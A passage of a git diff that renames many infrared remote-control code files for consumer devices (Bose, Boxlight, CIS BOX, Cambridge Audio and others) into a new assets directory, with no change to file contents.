to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge 